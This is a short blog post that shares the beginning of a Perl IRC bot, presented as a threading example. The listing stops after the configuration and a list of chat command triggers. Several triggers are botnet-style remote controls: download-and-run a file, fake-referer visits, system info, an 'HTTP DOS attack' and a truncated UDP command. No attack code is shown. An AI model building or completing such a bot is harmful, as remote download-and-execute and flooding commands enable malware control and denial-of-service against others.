THC IRC Bot (Perl)

October 17, 2008 – 11:31 am

This is a very old basic IRC bot I wrote at some point. I recently found it when a coworker wanted to learn about threads. It uses Perl and requires that Perl is built with threading support!

#!/usr/bin/perl

# Modules
use IO::Socket;
use Thread;
use Socket;

#---------------- CONFIGURATION --------------
$server = "your.irc.server.host";
$port = 3309;
$nick_prefix = "[THC]";
$version = "THC PERL BOT 0.6.1";
$cmd_symbol = "!";
$channel = "#yourircchannel";
$password = "6pufoP.Mzt4lM";	# DES Encrypted Password

#---------------------------------------------

# Set triggers

$call_version = $cmd_symbol . "version";	# !version - Shows the version of the bot
$call_info = $cmd_symbol . "info";		# !info - Shows the system information
$call_login = $cmd_symbol . "login";		# !login
 - Logs you into the bot
$call_logout = $cmd_symbol . "logout";		# !logout - Logs you out of the bot
$call_exit = $cmd_symbol . "exit";		# !exit - Kills the bot
$call_cycle = $cmd_symbol . "cycle";		# !cycle <#channel>  - Joins channel then parts
$call_dns = $cmd_symbol . "dns";		# !dns  - Resolves the hostname
$call_join = $cmd_symbol . "join";		# !join <#channel> - Joins the channel
$call_part = $cmd_symbol . "part";		# !part <#channel> - Parts the channel
$call_mode = $cmd_symbol . "mode";		# !mode <#channel>   - Sets the mode on the user
$call_nick = $cmd_symbol . "nick";		# !nick  - Changes the bot's nickname
$call_msg = $cmd_symbol . "msg";		# !msg   - Sends a private message
$call_raw = $cmd_symbol . "raw";		# !raw  - Send a raw command
$call_randnick = $cmd_symbol . "randnick";	# !randnick - Resets the bot's nick to a new random one
$call_download = $cmd_symbol . "download";	# !download   <1/0> - Download, save and either run (1) or dont (0)
$call_visit = $cmd_symbol . "visit";		# !visit   - Visit URL and fake referer
$call_post = $cmd_symbol . "post";		# !post    - Posts data to url
$call_ping = $cmd_symbol . "ping";		# !ping  <# count>   - Ping a host
$call_httpdos = $cmd_symbol . "http";		# !http 
 <# threads> <# count> - HTTP DOS attack
$call_udp = $cmd_symbol . "udp";		# !udp   

You must be logged in to post a comment.